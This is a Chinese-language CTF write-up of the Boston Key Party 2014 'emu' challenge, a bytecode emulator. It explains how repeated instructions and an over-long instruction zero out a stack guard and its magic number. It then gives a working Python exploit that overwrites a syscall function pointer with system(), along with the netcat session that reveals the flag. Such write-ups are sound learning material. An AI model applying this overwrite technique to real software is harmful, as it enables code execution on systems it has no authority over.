over 3 years ago

Pwning 100, ELF x64: https://github.com/csie217/ctf/raw/master/boston-key-party-2014/emu

分析一下 binary,發現是個吃 bytecode 的模擬器,固定指令長度 4 byte。模擬器本身沒有漏洞,但亂戳一陣會發現: 指令太長會或跑太多次會噴 error: *** HEAP FUCKERY DETECTED ***。原因是每次的執行結果都會存在 stack 上,太多次的話會覆蓋到檢查 buffer overflow 的 guard;指令太長的話則是會覆蓋掉檢查用的 magic-number。每回的流程大概是這樣:

  1. 讀入 bytecode
  2. 檢查 guard == magic-number,magic-number 是一開始 srand(time(0)) 生成的,如果不相等就噴 error
  3. 執行 bytecode
  4. 執行結果 push 到一個 local array 上,並且把上一次的結果清 0

輸入指令的 buffer 在 0x604B80,magic-number 在 0x604C00,再往下則有模擬器做 system call 用的 function table (0x604C10)。試試看可不可以把它蓋成 system() (0x0410d0),只是要想辦法突破 guard == magic-number 這關。雖然 srand(time(0)) 應可以直接計算出來,不過我們用的方法是這樣:

  1. 執行回傳值為 0 的 bytecode 02000000 (R0 = R0 - R0) 11 次。第 11 次剛好會蓋住 guard,把它改成 0。
  2. 過長的 bytecode 0000 ... 0000。這是合法的指令,而且剛好在下次檢查前把 magic-number 也改為 0。

完整的 exploit 如下:

def R(s):
    print s.encode('base64').replace('\n','')

for i in range(0,11):
    R('\x02\x00\x00\x00')
cmd = '\x00cat key\x00'
R(cmd+'\x00'*(144-len(cmd))+'\xd0\x10\x40\x00\x00\x00\x00\x00')

執行後得到 key

seanwu:~/bkp$ python ./emu.py | nc 54.218.22.41 4545
RISC CPU Emulator BkP 2014
Give me your bytecode!
Please give me your bytecode base64'd:
Got it, executing AgAAAA== now!
sub r[0], r[0], r[0]
Returning value of 0x0
Resetting VM.....
Please give me your bytecode base64'd:
Got it, executing AgAAAA== now!

... (略)

sub r[0], r[0], r[0]
Returning value of 0x0
Resetting VM.....
Please give me your bytecode base64'd:
Got it, executing AGNhdCBrZXkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0BBAAAAAAAA= now!
flag{stupid_boston_leprechauns_and_geohots}
I don't recognize opcode 0x20
← Codegate CTF Preliminary 2014 Angry Doraemon Writeup Boston Key Party CTF 2014 Decrypt Img →